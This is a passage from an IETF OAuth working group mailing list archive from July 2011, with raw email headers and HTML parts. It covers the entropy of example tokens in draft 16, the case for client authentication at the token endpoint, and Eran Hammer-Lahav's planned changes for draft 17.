wDNwj+8RtR3yjTOZ/ttiXO1/zWbXq8pS+RYalOp2NS6bIs7J6bvN5nSzYJESNEkSwv57ZxDutL12 gw2tC411FYTWqaL10rAOA3Hn5wSyr51WdrkjxNZqmmhSGvOITi+8UAeIe6rzarh/YemYJp1sA2p0 ZIg1VhBg8vvY6dONG1h/atFDjECJtroqYbvtJpQWeXQK8hSR/JlLeAYqt/J8GKQv+8mkycQUn0Xt D5gbjF60i81culOIsXttS4xIe1tzAgMBAAGjggS0MIIEsDASBgNVHRMBAf8ECDAGAQH/AgEAMB0G A1UdDgQWBBSzErFXrmmp60LIrAigOp3IfvE23DALBgNVHQ8EBAMCAYYwEAYJKwYBBAGCNxUBBAMC AQAwggGJBgNVHSAEggGAMIIBfDCCAXgGDCsGAQQBiEAEGwEBATCCAWYwggEgBggrBgEFBQcCAjCC ARIeggEOAEYAbwByACAAYQAgAGMAbwBwAHkAIABvAGYAIAB0AGgAZQAgAFQAZQBsAHMAdAByAGEA IABQAEsASQAgAEMAUABTACwAIABjAGwAaQBjAGsAIABNAG8AcgBlACAASQBuAGYAbwAuACAARgBv AHIAIABDAFAAUwAgAHEAdQBlAHIAaQBlAHMAIABjAG8AbgB0AGEAYwB0ACAAdABoAGUAIABHAG8A dgBlAHIAbgBhAG4AYwBlACAAQwBvAHUAbgBjAGkAbAAsACAARQBtAGEAaQBsADoAIABUAGUAbABz AHQAcgBhAC4AUABHAEMAQAB0AGUAYQBtAC4AdABlAGwAcwB0AHIAYQAuAGMAbwBtMEAGCCsGAQUF BwIBFjRodHRwOi8vdGVsc3RyYS1wa2kucGtpLnRlbHN0cmEuY29tLmF1L1RlbHN0cmFDUFMucGRm MBkGCSsGAQQBgjcUAgQMHgoAUwB1AGIAQwBBMB8GA1UdIwQYMBaAFJT5/udCeR3rxZ9HUpfHV7X4 nD4oMIIBLAYDVR0fBIIBIzCCAR8wggEboIIBF6CCAROGgc5sZGFwOi8vL0NOPVRlbHN0cmElMjBQ b2xpY3klMjBDQTEsQ049d3NjYXAwMTAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNl cyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNvcmUsREM9ZGlyLERDPXRlbHN0cmEs REM9Y29tP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0 cmlidXRpb25Qb2ludIZAaHR0cDovL3RlbHN0cmEtY3JsLnBraS50ZWxzdHJhLmNvbS5hdS9UZWxz dHJhJTIwUG9saWN5JTIwQ0ExLmNybDCCAWEGCCsGAQUFBwEBBIIBUzCCAU8wgcQGCCsGAQUFBzAC hoG3bGRhcDovLy9DTj1UZWxzdHJhJTIwUG9saWN5JTIwQ0ExLENOPUFJQSxDTj1QdWJsaWMlMjBL ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNvcmUsREM9ZGly LERDPXRlbHN0cmEsREM9Y29tP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZp Y2F0aW9uQXV0aG9yaXR5MEwGCCsGAQUFBzAChkBodHRwOi8vdGVsc3RyYS1wa2kucGtpLnRlbHN0 cmEuY29tLmF1L1RlbHN0cmElMjBQb2xpY3klMjBDQTEuY3J0MDgGCCsGAQUFBzABhixodHRwOi8v dGVsc3RyYS1vY3NwLnBraS50ZWxzdHJhLmNvbS5hdS9vY3NwLzANBgkqhkiG9w0BAQUFAAOCAQEA KLKdzu8ZWRTUOdOZJ02fEONNrwAHAUMMwFh5pD/2CPhY6e29qU+4zih5R30GUcj+2LVohlOHyWVq vvQJyJTxH+YTf3xrldjV69lL3lLCMfsuGX2LteGfwLsN45hUOnm1RWlvf0Gaug4GdLZeXjVLyfgU MF/BhesXEUGWB68Q5N8FxUVVgrmXRYYWyGQHGGHXWn/UCOreGjawPr7GC0HgndgkwHxjhTqgCmzo Sl0TIwWxFu6gO0eleF+3S85IFb3dwmctj+ZZm0tm3i5+59RVytuycvvAArwZT4Dc3nLD78fnjpXs c9oXwjRWF3x98fn2ycF56Ys+d3592133GLCMljGCAjgwggI0AgEBMIGKMHwxEzARBgoJkiaJk/Is ZAEZFgNjb20xFzAVBgoJkiaJk/IsZAEZFgd0ZWxzdHJhMRMwEQYKCZImiZPyLGQBGRYDZGlyMRQw EgYKCZImiZPyLGQBGRYEY29yZTEhMB8GA1UEAxMYVGVsc3RyYSBVc2VyIElzc3VpbmcgQ0ExAgon IE5VAAAAAAF5MAkGBSsOAwIaBQCggYMwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG 9w0BCQUxDxcNMTEwNzA3MDQxMDU3WjAjBgkqhkiG9w0BCQQxFgQUNLYlR96RNYgNv/EOlRAaCtl/ WpEwJAYJKoZIhvcNAQkPMRcwFTAHBgUrDgMCGjAKBggqhkiG9w0CBTANBgkqhkiG9w0BAQEFAASC AQA849Zo3SDcJPQP0+rSdRUoZpgVxmA95zH0yw9BMEbdRJmCfb+zy74AOJeGz8uFVAgnVa1kOLTC mHWBbXijw+gxDIAj23YzhEi3foDqSNd8g6zebPhZhgxk90FuVG3sGOwvxXGc5q/qRh/dxsQi+u6j P/GLXzo5DJS0sND1hgm0FYfYb+feQXXkhLRWYnk1djd8/gcv8rUcq3+xyRlx0hGM17+Y+9Snje+E A2yH1OmJqNGYd17Sebn6iMoEu5Bp8vquKQ88cOJIXKUX6nPQEABHwC6gkix/mQsWVDhS9mL0vjuo 6R0+gT4uHzD7JrjAUGNQhormo/K6xtU91i6evur/AAAAAAAA ------=_NextPart_000_0055_01CC3CAF.B12706D0-- From eran@hueniverse.com Wed Jul 6 21:58:04 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C0CF221F89D6 for ; Wed, 6 Jul 2011 21:58:04 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.687 X-Spam-Level: X-Spam-Status: No, score=-2.687 tagged_above=-999 required=5 tests=[AWL=-0.089, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id XPRbQFYhalpk for ; Wed, 6 Jul 2011 21:58:03 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 4FA3E21F899D for ; Wed, 6 Jul 2011 21:58:03 -0700 (PDT) Received: (qmail 326 invoked from network); 7 Jul 2011 04:58:02 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 04:58:02 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Wed, 6 Jul 2011 21:58:02 -0700 From: Eran Hammer-Lahav To: "Manger, James H" , OAuth WG Date: Wed, 6 Jul 2011 21:57:59 -0700 Thread-Topic: Example tokens Thread-Index: Acw8LaRd3jBNZ8eQRdeWzHyD6SoK/QAHRh2gAAXmTTA= Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDC2@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <255B9BB34FB7D647A506DC292726F6E11288CAE2F2@WSMSG3153V.srv.dir.telstra.com> In-Reply-To: <255B9BB34FB7D647A506DC292726F6E11288CAE2F2@WSMSG3153V.srv.dir.telstra.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDC2P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 04:58:04 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDC2P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Fantastic! From: Manger, James H [mailto:James.H.Manger@team.telstra.com] Sent: Wednesday, July 06, 2011 9:11 PM To: Eran Hammer-Lahav; OAuth WG Subject: RE: Example tokens > Are the tokens used in the examples long enough? I don't want the example= s to demonstrate poor choice of byte count. No. I found the following example values in draft 16. Client secret: gX1fBat3bV (10 chars, 60 bits) Code: i1WsRn1uB1 (10 chars, 60 bits) Access token: SlAV32hkKG (10 chars, 60 bits) Access token: FJQbwq9 ( 7 chars, 48 bits) Access token: 7Fjfp0ZBr1KtDRbnfVdmIw (22 chars, 132 bits, bearer token) Access token: h480djs93hd8 (12 chars, 72 bits, MAC id) Refresh token: 8xLOxBtZp8 (10 chars, 60 bits) Refresh token: n4E9O119d ( 9 chars, 54 bits) User password: A3ddj3w ( 7 chars, ? bits, user-chosen) 128 bits of entropy would be a good choice for most values. That is equival= ent to 22 random base64 chars, as per longest example above. That is a mini= mum mentioned in draft-lodderstedt-oauth-security. Using 22-char values thr= oughout the spec probably doesn't harm readability much as most of the exam= ples already wrap over multiple lines (it might even help by wrapping more = parameter names to the start of lines). The example user password is long enough. Curiously the secrets, codes, and tokens all look like base64-encoded value= s - but almost none are actually valid base64 (the last char leaves non-zer= o bits in a final partial byte). For instance, i1WsRn1uB1 should be i1WsRn1= uBw (last char changes) to be a base64-encoding of 7 bytes. I suggest using four 22-char values for the four quantities (client secret,= code, access token, refresh token) consistently throughout the spec. Here = are four: 2YotnFZFEjr1zCsicMWpAA tGzv3JOkF0XG5Qx2TlKWIA 7Fjfp0ZBr1KtDRbnfVdmIw SplxlOBeZQQYbYS6WxSbIA -- James Manger --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDC2P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Fantastic= !

 =

From: Manger, James H [mailto:J= ames.H.Manger@team.telstra.com]
Sent: Wednesday, July 06, 2011 9= :11 PM
To: Eran Hammer-Lahav; OAuth WG
Subject: RE: Exa= mple tokens

&nbs= p;

> Are the tokens used in the examples = long enough? I don't want the examples to demonstrate poor choice of byte c= ount.

 

No.

 

I found the following example= values in draft 16.

&nbs= p;

Client secret: gX1fBat3bV    &nbs= p;         (10 chars,  60= bits)

Cod=
e:          i1WsRn1uB1 &n=
bsp;            (10 =
chars,  60 bits)
Access token:  SlAV32hkKG      =
        (10 chars,  60 bits)
Access to=
ken:  FJQbwq9           &=
nbsp;     ( 7 chars,  48 bits)
Access token:  =
7Fjfp0ZBr1KtDRbnfVdmIw  (22 chars, 132 bits, bearer token)<=
/span>
Access token:  =
;h480djs93hd8           &=
nbsp;(12 chars,  72 bits, MAC id)
Refresh token: 8xLOxBtZp8   &=
nbsp;          (10 chars, =
; 60 bits)
<=
span lang=3DEN-AU style=3D'font-size:12.0pt;font-family:Consolas;color:blac=
k'>Refresh token: n4E9O119d        =
       ( 9 chars,  54 bits)
User password: A3ddj=
3w            &=
nbsp;    ( 7 chars,   ? bits, user-chosen)
<=
o:p> 
128 bits of entropy would be a good choice for most values. Tha=
t is equivalent to 22 random base64 chars, as per longest example above. Th=
at is a minimum mentioned in draft-lodderstedt-oauth-security. Using 22-cha=
r values throughout the spec probably doesn’t harm readability much a=
s most of the examples already wrap over multiple lines (it might even help=
 by wrapping more parameter names to the start of lines).=

 =

The example user password is long enough.
 <=
/pre>
Curiously th=
e secrets, codes, and tokens all look like base64-encoded values – bu=
t almost none are actually valid base64 (the last char leaves non-zero bits=
 in a final partial byte). For instance, i1WsRn1uB1 should be i1WsRn1uBw (l=
ast char changes) to be a base64-encoding of 7 bytes.
 
I =
suggest using four 22-char values for the four quantities (client secret, c=
ode, access token, refresh token) consistently throughout the spec. Here ar=
e four:
 
  2YotnFZFEjr1zCsicMWpAA
  tGzv3JOkF0XG5Qx2TlKWIA=

  7Fjfp0ZBr1K=
tDRbnfVdmIw
=
  SplxlOBeZQQYbYS6WxSbIA
 
=

--
Jam=
es Manger
 
= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDC2P3PW5EX1MB01E_-- From eran@hueniverse.com Wed Jul 6 22:20:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id CA49021F89B0 for ; Wed, 6 Jul 2011 22:20:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.684 X-Spam-Level: X-Spam-Status: No, score=-2.684 tagged_above=-999 required=5 tests=[AWL=-0.086, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id TxaFfLdzBTnA for ; Wed, 6 Jul 2011 22:20:20 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 73E3421F89A0 for ; Wed, 6 Jul 2011 22:20:20 -0700 (PDT) Received: (qmail 23224 invoked from network); 7 Jul 2011 05:20:20 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 05:20:20 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Wed, 6 Jul 2011 22:20:19 -0700 From: Eran Hammer-Lahav To: Brian Eaton Date: Wed, 6 Jul 2011 22:20:18 -0700 Thread-Topic: [OAUTH-WG] Client authentication requirement Thread-Index: AcwsPjKEE0b7fXG7RuGiM+R9qT83IQQJ1CLg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDC5@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234475E986AF7@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234475E986B88@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234475E986C0A@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234475E986C15@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234475E986C1A@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDC5P3PW5EX1MB01E_" MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Client authentication requirement X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 05:20:21 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDC5P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Very helpful. EHL From: Brian Eaton [mailto:beaton@google.com] Sent: Thursday, June 16, 2011 8:38 AM To: Eran Hammer-Lahav Cc: Brian Campbell; OAuth WG Subject: Re: [OAUTH-WG] Client authentication requirement On Wed, Jun 15, 2011 at 6:19 PM, Eran Hammer-Lahav > wrote: Your comment was that having client authentication makes it easier to recov= ery from an attack. I don't understand how the comments below about changin= g client secrets every 30 days are relevant. Are you suggesting to wait unt= il the next routine secret cycle to revoke compromised credentials? Or that= 30 days is a reasonable time period for ignoring an attack? Sorry, there are multiple good reasons to require client authentication for= the access token endpoint. - if you need to recover from a compromise, changing the client credentials= will prevent the attacker from abusing refresh tokens they have stolen. C= hanging a single client credential is much faster than revoking lots of ref= resh tokens. - if you want to follow best practices for management of authentication cre= dentials, you should do periodic key rotation. Rotation of lots of refresh= tokens is quite challenging. Rotation of client credentials is much easie= r. - if you want to bind refresh tokens to stronger authentication credentials= , such as private keys stored in an HSM, you need to require client authent= ication when using the refresh token. Is that helpful? Cheers, Brian --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDC5P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Very help= ful.

 

EHL

 

From: Brian Eaton [mailto:beaton@google.com]
Sent: Thursda= y, June 16, 2011 8:38 AM
To: Eran Hammer-Lahav
Cc: Bria= n Campbell; OAuth WG
Subject: Re: [OAUTH-WG] Client authenticatio= n requirement

&n= bsp;

On Wed, Jun 15, 2011 at 6:19 PM, Eran Ha= mmer-Lahav <eran@hueniverse.com> wrote:

- if you want to bind refresh tokens to stronger auth= entication credentials, such as private keys stored in an HSM, you need to = require client authentication when using the refresh token.

<= /div>

 

Is that helpful?

 

Cheers,

Brian

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDC5P3PW5EX1MB01E_-- From eran@hueniverse.com Wed Jul 6 23:14:40 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BD34B21F88D1 for ; Wed, 6 Jul 2011 23:14:40 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.68 X-Spam-Level: X-Spam-Status: No, score=-2.68 tagged_above=-999 required=5 tests=[AWL=-0.082, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id e53b5KWcdcVw for ; Wed, 6 Jul 2011 23:14:39 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id EBC7521F88CD for ; Wed, 6 Jul 2011 23:14:38 -0700 (PDT) Received: (qmail 16543 invoked from network); 7 Jul 2011 06:14:37 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 06:14:37 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 6 Jul 2011 23:14:35 -0700 From: Eran Hammer-Lahav To: "eran@sled.com" , Brian Eaton Date: Wed, 6 Jul 2011 23:14:33 -0700 Thread-Topic: [OAUTH-WG] Client authentication requirement Thread-Index: AcwsPjKEE0b7fXG7RuGiM+R9qT83IQQJ1CLgAAHG7sA= Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDCC@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234475E986AF7@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234475E986B88@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234475E986C0A@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234475E986C15@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234475E986C1A@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D49FDC5@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDC5@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDCCP3PW5EX1MB01E_" MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Client authentication requirement X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 06:14:40 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDCCP3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable BTW, as I'm working it into the document, these are all great reasons to re= commend client authentication, but not to require it. You should clearly re= quire it if you are going to implement all these protections, but at the sa= me time, we clearly have use cases (pretty much from every major provider r= epresented here) to issue refresh tokens to public clients (native apps, et= c.) which cannot authenticate. I feel we have been burying our head in the sand for too long about the tru= e requirements and deployment of client authentication. I'm hoping -17 will= offer a reasonable fix. EHL From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of E= ran Hammer-Lahav Sent: Wednesday, July 06, 2011 10:20 PM To: Brian Eaton Cc: OAuth WG Subject: Re: [OAUTH-WG] Client authentication requirement Very helpful. EHL From: Brian Eaton [mailto:beaton@google.com] Sent: Thursday, June 16, 2011 8:38 AM To: Eran Hammer-Lahav Cc: Brian Campbell; OAuth WG Subject: Re: [OAUTH-WG] Client authentication requirement On Wed, Jun 15, 2011 at 6:19 PM, Eran Hammer-Lahav > wrote: Your comment was that having client authentication makes it easier to recov= ery from an attack. I don't understand how the comments below about changin= g client secrets every 30 days are relevant. Are you suggesting to wait unt= il the next routine secret cycle to revoke compromised credentials? Or that= 30 days is a reasonable time period for ignoring an attack? Sorry, there are multiple good reasons to require client authentication for= the access token endpoint. - if you need to recover from a compromise, changing the client credentials= will prevent the attacker from abusing refresh tokens they have stolen. C= hanging a single client credential is much faster than revoking lots of ref= resh tokens. - if you want to follow best practices for management of authentication cre= dentials, you should do periodic key rotation. Rotation of lots of refresh= tokens is quite challenging. Rotation of client credentials is much easie= r. - if you want to bind refresh tokens to stronger authentication credentials= , such as private keys stored in an HSM, you need to require client authent= ication when using the refresh token. Is that helpful? Cheers, Brian --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDCCP3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

BTW, as I= ’m working it into the document, these are all great reasons to recom= mend client authentication, but not to require it. You should clearly requi= re it if you are going to implement all these protections, but at the same = time, we clearly have use cases (pretty much from every major provider repr= esented here) to issue refresh tokens to public clients (native apps, etc.)= which cannot authenticate.

 

I feel we have be= en burying our head in the sand for too long about the true requirements an= d deployment of client authentication. I’m hoping -17 will offer a re= asonable fix.

 <= /o:p>

EHL

 

From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org]= On Behalf Of Eran Hammer-Lahav
Sent: Wednesday, July 06, = 2011 10:20 PM
To: Brian Eaton
Cc: OAuth WG
Subjec= t: Re: [OAUTH-WG] Client authentication requirement

 

Very helpful.

 

EHL<= /p>

 

From: Brian Eaton [mailto:beaton@google.com]
Sent: Thursday, June= 16, 2011 8:38 AM
To: Eran Hammer-Lahav
Cc: Brian Campb= ell; OAuth WG
Subject: Re: [OAUTH-WG] Client authentication requi= rement

 

On Wed, Jun 15, 2011 at 6:19 PM, Eran Hammer-La= hav <eran@hueniverse.com> = wrote:

Your comment was that having client authentica= tion makes it easier to recovery from an attack. I don’t understand h= ow the comments below about changing client secrets every 30 days are relev= ant. Are you suggesting to wait until the next routine secret cycle to revo= ke compromised credentials? Or that 30 days is a reasonable time period for= ignoring an attack?

 

Sorr= y, there are multiple good reasons to require client authentication for the= access token endpoint.

=  

- if you need to recover fr= om a compromise, changing the client credentials will prevent the attacker = from abusing refresh tokens they have stolen.  Changing a single clien= t credential is much faster than revoking lots of refresh tokens.

 

- if you want to follow best practices for management of aut= hentication credentials, you should do periodic key rotation.  Rotatio= n of lots of refresh tokens is quite challenging.  Rotation of client = credentials is much easier.

<= o:p> 

- if you want to bind r= efresh tokens to stronger authentication credentials, such as private keys = stored in an HSM, you need to require client authentication when using the = refresh token.

 

Is that helpful?

 

Cheers,

Brian=

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDCCP3PW5EX1MB01E_-- From eran@hueniverse.com Thu Jul 7 01:01:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 61A2B21F854A for ; Thu, 7 Jul 2011 01:01:29 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.677 X-Spam-Level: X-Spam-Status: No, score=-2.677 tagged_above=-999 required=5 tests=[AWL=-0.078, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id xT-Q22hboEOx for ; Thu, 7 Jul 2011 01:01:28 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 7F15B21F86B6 for ; Thu, 7 Jul 2011 01:01:28 -0700 (PDT) Received: (qmail 18523 invoked from network); 7 Jul 2011 08:01:27 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 08:01:27 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Thu, 7 Jul 2011 01:01:27 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Thu, 7 Jul 2011 01:01:26 -0700 Thread-Topic: Timely review request: pre-draft-17 Thread-Index: Acw60bNgjUQ4p8h+QYCzO9enflhYbABqGqmg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDD2@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Timely review request: pre-draft-17 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 08:01:29 -0000 I finished the major part of -17, adding a new Client registration section = and folding client authentication into it. This new text attempts to direct= ly address: * client authentication requirements * define client types with regard to keeping secrets * set registration requirements * properly explain client identifier * replace client credentials with a more generic client authentication (in = terms used throughout the document) * provide a comprehensive discussion of redirection URIs (this is where the= few normative changes are) * tweak the implicit and authorization code intros to better reflect realit= y ('optimized for') * separate client identifier from client authentication (keep binding requi= rement) Normative changes (this should be verified): * require client authentication for private clients (previously implied) * require redirection endpoint registration for implicit grant and all for = public clients requests * remove client_id as a required parameter from the token endpoint (now bac= k to being part of the client_secret pair) The draft includes other changes like new error codes, but I'll list those = when the draft is published. I still have about 32 more items on my list to= apply before publishing, but the major changes are done. You can always find the latest here: https://github.com/hueniverse/draft-ietf-oauth Early review of the following sections would be GREALY appreciated: 2. Client Registration 2.1. Client Types 2.2. Registration Requirements 2.3. Client Identifier 2.4. Client Authentication 2.4.1. Client Password 2.4.2. Other Authentication Methods 2.5. Unregistered Clients 3.1.2. Redirection URI 3.2.1. Client Authentication -17 will be published by Friday at which point I will leave it to the chair= s to decide if they still want to initiate WGLC or give the draft a few day= s of informal review. EHL > -----Original Message----- > From: Eran Hammer-Lahav > Sent: Monday, July 04, 2011 10:09 PM > To: OAuth WG > Subject: Timely review request: pre-draft-17 >=20 > I have started sharing my planned changes for 17: >=20 > https://github.com/hueniverse/draft-ietf-oauth >=20 > Change log: >=20 > https://github.com/hueniverse/draft-ietf- > oauth/commit/24a48f99c204331264028 > f66708427961a1bc102#diff-3 >=20 >=20 > My main focus right now is to clarify client types, registration, and > identification, as well as tweak the registration requirements for redire= ction > URIs. This is still very raw. However, I would very much like to get feed= back > about the following sections: >=20 > 1.1.1. Client Types > 1.2. Client Registration >=20 > 2.1.1. Redirection URI >=20 >=20 > In section 2.1.1, please note that it includes many new normative > requirements, but in practice, they mostly boil down to the requirement t= o > register a redirection URI for using the implicit grant type as well as u= sing the > authorization code with a public client (new term for describing client > incapable of keeping secrets). >=20 > I have turned the spec around, making registered redirection URIs the > default, and using the parameter as an optional feature. >=20 > Feedback is very much appreciated as we only have a few more days before = I > have to push out -17 and would like a few more eyes looking at the new te= xt > before published. >=20 > I am still not ready to share changes to section 3. Also, I have a long l= ist of > additional changes raised on the list. >=20 > Thanks, >=20 > EHL >=20 >=20 >=20 From eran@hueniverse.com Thu Jul 7 01:37:52 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost 